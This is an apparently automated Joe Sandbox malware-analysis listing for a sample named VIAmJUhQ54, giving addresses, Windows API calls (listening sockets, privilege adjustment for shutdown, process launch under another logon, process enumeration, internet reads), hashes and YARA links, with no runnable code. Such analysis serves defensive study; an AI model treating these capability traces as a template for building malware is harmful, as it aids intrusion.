Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 747ef567cb6f0e1f9de0699a387593bcaf7c70a1d6d6f577e238a5aa4eb6f2b3
Instruction ID: a7825e5a5227b23d82ae5c7973e756a683d9c07da63c89a576b85edd8783602c
Opcode Fuzzy Hash: 747ef567cb6f0e1f9de0699a387593bcaf7c70a1d6d6f577e238a5aa4eb6f2b3
Instruction Fuzzy Hash: 3F01F771658211AAF72C16BCCC4BBBF32589B003D9F248524BD13E20C2D9AC5E04C1B4

Function 00778C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006), ref: 00778CA8
WSAGetLastError.WSOCK32(00000000), ref: 00778CB7
bind.WSOCK32(00000000,?,00000010), ref: 00778CD3
listen.WSOCK32(00000000,00000005), ref: 00778CE2
WSAGetLastError.WSOCK32(00000000), ref: 00778CFC
closesocket.WSOCK32(00000000), ref: 00778D10

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 1085f32ab08e390dedbc7bed0a01ad5134829c1e34793e6789ad83451cb9d68f
Instruction ID: ec05f040b0e0944aa0008699fc2bd1f22189906555fb975ea4e930e598b5a11e
Opcode Fuzzy Hash: 1085f32ab08e390dedbc7bed0a01ad5134829c1e34793e6789ad83451cb9d68f
Instruction Fuzzy Hash: CC21D231600210DFCB25EF64D949B6E77A9EF49350F14C158F95BA72D2CB38AD018B61

Function 0075AF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 0075AFAE
OpenProcessToken.ADVAPI32(00000000), ref: 0075AFB5
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 0075AFC4
CloseHandle.KERNEL32(00000004), ref: 0075AFCF
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0075AFFE
DestroyEnvironmentBlock.USERENV(00000000), ref: 0075B012

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: ca26d705393aeabde6e1952fc8099d94a28e0a13d3db55e62c3cd5eed8c9a0cb
Instruction ID: 4a681604bc5891b005da59e1c859e77b7127be22d42e241f9be18c9db1a56fdc
Opcode Fuzzy Hash: ca26d705393aeabde6e1952fc8099d94a28e0a13d3db55e62c3cd5eed8c9a0cb
Instruction Fuzzy Hash: B2214FB2100209BFDF118F94DD09FEE7BA9AB45305F048125FD02A21A1C3B9DD15EB61

Function 00766532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00766554
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00766564
Process32NextW.KERNEL32(00000000,0000022C), ref: 00766583
__wsplitpath.LIBCMT ref: 007665A7
_wcscat.LIBCMT ref: 007665BA
CloseHandle.KERNEL32(00000000,?,00000000), ref: 007665F9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
String ID:
API String ID: 1605983538-0
Opcode ID: 8ad16951b768fc2d6685a3f79d56ed3c4be602905336727737276654d07532f2
Instruction ID: 1165e3242e6df3b6d1ec688aba01f86370608784442a4fd4684653acfff23a05
Opcode Fuzzy Hash: 8ad16951b768fc2d6685a3f79d56ed3c4be602905336727737276654d07532f2
Instruction Fuzzy Hash: 2B218771900218EBDB20ABA4CC89FEDB7BCAB49300F5004A5F906D7141EB799F95CF61

Function 00729B60 Relevance: 8.6, Strings: 6, Instructions: 1055COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00729E95
VUUU, xrefs: 00729ED4
VUUU, xrefs: 00729EA7
ERCP, xrefs: 00729C32
VUUU, xrefs: 007ABE14
|, xrefs: 00729CF3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU$|
API String ID: 0-3328300686
Opcode ID: d9dd4f9f8754e4c7cda3f9ef882282ebbbbfc1fc943b2763746acda147cf1df0
Instruction ID: 1de0367874c61515eb7db912801b7d905c88e4a735a817100e36ca53382ce8ae
Opcode Fuzzy Hash: d9dd4f9f8754e4c7cda3f9ef882282ebbbbfc1fc943b2763746acda147cf1df0
Instruction Fuzzy Hash: C892B271E0022ADBDF34CF58D8407BDB7B1BB95314F18829AD916AB281E7789D81CF91

Function 007613CA Relevance: 8.1, APIs: 1, Strings: 4, Instructions: 560stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 007613DC

Strings

|, xrefs: 0076140C
,2}, xrefs: 007616B1
<2}, xrefs: 007616FA
(, xrefs: 00761422

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: lstrlen
String ID: ($,2}$<2}$|
API String ID: 1659193697-1765862839
Opcode ID: ab1b63a6bb9ad000ac42f51daffdf6d874b51cf54e63b62c4470c8160a26fa1d
Instruction ID: 6e5354bca72ad73500335d089bcc2078eed3bd0fb3e44fc8a8ae6db3988f741c
Opcode Fuzzy Hash: ab1b63a6bb9ad000ac42f51daffdf6d874b51cf54e63b62c4470c8160a26fa1d
Instruction Fuzzy Hash: 8E322475A007059FC728CF69C484A6AB7F0FF48320B55C56EE89ADB3A2E774E941CB44

Function 0077923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0077A82C: inet_addr.WSOCK32(00000000), ref: 0077A84E

socket.WSOCK32(00000002,00000002,00000011), ref: 00779296
WSAGetLastError.WSOCK32(00000000,00000000), ref: 007792B9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 1f652a3ca5b2cfb375542e72836feb5b75322a52aef34a7a3674e72f434b1883
Instruction ID: c738557c3e7725e29cf729ccc958febca113e1fefe6a202a24c0c3183332eb4a
Opcode Fuzzy Hash: 1f652a3ca5b2cfb375542e72836feb5b75322a52aef34a7a3674e72f434b1883
Instruction Fuzzy Hash: 8541C371600214EFEB14AB288846E7E77EDEF44764F14844CF956AB293CA789D018B91

Function 0076EB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0076EB8A
_wcscmp.LIBCMT ref: 0076EBBA
_wcscmp.LIBCMT ref: 0076EBCF
FindNextFileW.KERNEL32(00000000,?), ref: 0076EBE0
FindClose.KERNEL32(00000000,00000001,00000000), ref: 0076EC0E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNext
String ID:
API String ID: 2387731787-0
Opcode ID: 02aaf1e940197020a59ff519fd9135c0a10df8094826e2dfc108c1193e32df3e
Instruction ID: 0996c612369e48e23acfcd2dede30c10bd98acace3bc2af00a4ac37c0266ad51
Opcode Fuzzy Hash: 02aaf1e940197020a59ff519fd9135c0a10df8094826e2dfc108c1193e32df3e
Instruction Fuzzy Hash: B741C075600301CFDB18DF28C495E99B3E4FF49324F10455DE95A8B3A2DB39AD45CB61

Function 00788111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00788160
IsWindowEnabled.USER32 ref: 0078816E
GetForegroundWindow.USER32(?,?,00000001), ref: 0078817B
IsIconic.USER32 ref: 00788189
IsZoomed.USER32 ref: 00788197

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 8de84f16aa070357c1d7b40a27d4799258c7fb0075aa387a79cdf484ce33f7bf
Instruction ID: 1ff33f4d7fd575cd9fccc137c0cdd684061c4c480db588824f4995f42a99ae7f
Opcode Fuzzy Hash: 8de84f16aa070357c1d7b40a27d4799258c7fb0075aa387a79cdf484ce33f7bf
Instruction Fuzzy Hash: FA118E31B40218ABE7216F26DC48A6A7799AF85760B44442DF84AD7242CF78AD0287A6

Function 0073E01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0073E014,774D0AE0,0073DEF1,007BDC38,?,?), ref: 0073E02C
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0073E03E

Strings

kernel32.dll, xrefs: 0073E027
GetNativeSystemInfo, xrefs: 0073E038

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: ef6b12f1dc28d3b0a5c8ace1a3613e8b451a06b6a68b59594b6af1bcc4b001bd
Instruction ID: 6379cfe02d43a580ab5b7c1c45ca4bb928ee50bd50cab2022c207b0a63afd659
Opcode Fuzzy Hash: ef6b12f1dc28d3b0a5c8ace1a3613e8b451a06b6a68b59594b6af1bcc4b001bd
Instruction Fuzzy Hash: 44D0A7704007229FD7354F60EC0C61277E5AF11301F29841EE482D2691D7BCCC828F50

Function 0073B11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

DefDlgProcW.USER32(?,?,?,?,?), ref: 0073B22F

Part of subcall function 0073B55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 0073B5A5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Proc$LongWindow
String ID:
API String ID: 2749884682-0
Opcode ID: da71c56e8a495dbfbf4b4d9f336e4c198f74075596d3aabf0e377aed5a132081
Instruction ID: c6117837bc2ed7df588108cad2b5eb190086d7aaaf46526989d85d77a68f06ae
Opcode Fuzzy Hash: da71c56e8a495dbfbf4b4d9f336e4c198f74075596d3aabf0e377aed5a132081
Instruction Fuzzy Hash: F0A13670514129FAFF28AB2AAC8DE7F296CFB86344F544219F602D6593DB2D9C109272

Function 00774EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,007743BF,00000000), ref: 00774FA6
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00774FD2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 38c90d7c5982abe0ab200532bf52d18c1bdf2560e25bf49540a939547339db69
Instruction ID: cf6aa54676e8d0ed784b54affff57a87393fa6b297ee4f51d2e92359ecb97fa2
Opcode Fuzzy Hash: 38c90d7c5982abe0ab200532bf52d18c1bdf2560e25bf49540a939547339db69
Instruction Fuzzy Hash: 0741C971604609FFEF219F94CC85EBFB7BCEB40794F14802AF609A6141E7B99E41D6A0

Function 007277B0 Relevance: 4.6, APIs: 1, Strings: 1, Instructions: 1076COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00727921

Strings

\Q}, xrefs: 007A1028

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _memmove
String ID: \Q}
API String ID: 4104443479-401829714
Opcode ID: 0060747d08bfb80f777141fa474a8ed9af03346d57673ff080f26cec460024f3
Instruction ID: 3b5a0c84443c96c73670dd675bc695c53060ce3c9b9a1b88b37c8d359b0640cd
Opcode Fuzzy Hash: 0060747d08bfb80f777141fa474a8ed9af03346d57673ff080f26cec460024f3
Instruction Fuzzy Hash: 9FA27D70D05229CFDB28CF58D5806ADBBB1FF49310F2582A9D859AB391D7389E81DF90

Function 0076E1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0076E20D
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0076E267
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0076E2B4

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: eba6f45d815524d5a429ff00a3c8b9d8ebeed887dfda3fba1cc9352bd8bf65a4
Instruction ID: 6ebc15a2bb7e5df4b9a0d410dea99522a63c60f2a129a739faa56877c27966e3
Opcode Fuzzy Hash: eba6f45d815524d5a429ff00a3c8b9d8ebeed887dfda3fba1cc9352bd8bf65a4
Instruction Fuzzy Hash: E7216035A00218EFCB00EFA5D884EEDBBB9FF49310F0484A9E906A7252DB359905CB54

Function 0075B134 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0073F4EA: std::exception::exception.LIBCMT ref: 0073F51E
Part of subcall function 0073F4EA: __CxxThrowException@8.LIBCMT ref: 0073F533

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0075B180
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0075B1AD
GetLastError.KERNEL32 ref: 0075B1BA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: c5bacfe1509b2e241a2d1a778b201bba23e106d7b8afa8c6dc7d11b54445ff5b
Instruction ID: 3fb459e06c10e8748687351fe6d30b66a3a8920bdd30f79c1f17b7a73a8717a5
Opcode Fuzzy Hash: c5bacfe1509b2e241a2d1a778b201bba23e106d7b8afa8c6dc7d11b54445ff5b
Instruction Fuzzy Hash: F011BFB1800604AFE7289F64DC85D6BB7ADEB44311B20852EF45697241DBB8FC458B60

Function 00766606 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00766623
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00766664
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0076666F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: f89cb9a20ac7f370b5b8f04c04ee1f778fd9296c2a2b0472bd91c2bd925517b4
Instruction ID: 95c3071d684c790231618de917e5cbd9fa911e78a13b31332584f1b2dc08cfe1
Opcode Fuzzy Hash: f89cb9a20ac7f370b5b8f04c04ee1f778fd9296c2a2b0472bd91c2bd925517b4
Instruction Fuzzy Hash: E0111E71E01228BFDB108FA5EC45BAEBBBCEB45B10F108156F901F6290D7B45E059BA5

Function 007671FA Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00767223
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0076723A
FreeSid.ADVAPI32(?), ref: 0076724A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: ef80eae90dfd2203d63282b269fb910fe11d91c94e68ae22c29c8c3c9e494151
Instruction ID: 876a6ffad445e36d734167acf54fc2d6b91175c332c74eaaa77c06b7a39085dd
Opcode Fuzzy Hash: ef80eae90dfd2203d63282b269fb910fe11d91c94e68ae22c29c8c3c9e494151
Instruction Fuzzy Hash: 86F06D76A00208BFDF04DFF4CC89AEEBBB8FF08201F008469A602E2181E3749A048B15

Function 0076F56F Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0076F599
FindClose.KERNEL32(00000000), ref: 0076F5C9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 5966d4cd1bce1f95082a728d84375b3e024f1e9fb5993255141f0c5b70ff95ab
Instruction ID: c3c18018e3d0652b802db167fb3374275536f27fbc8562bf456f5d437038715a
Opcode Fuzzy Hash: 5966d4cd1bce1f95082a728d84375b3e024f1e9fb5993255141f0c5b70ff95ab
Instruction Fuzzy Hash: 6E11C832600204DFD710EF28D849A6EB3E4FF85324F01C51EF9A6D7292CB34AD058B95

Function 0076CE7A Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,0077BE6A,?,?,00000000,?), ref: 0076CEA7
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,0077BE6A,?,?,00000000,?), ref: 0076CEB9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

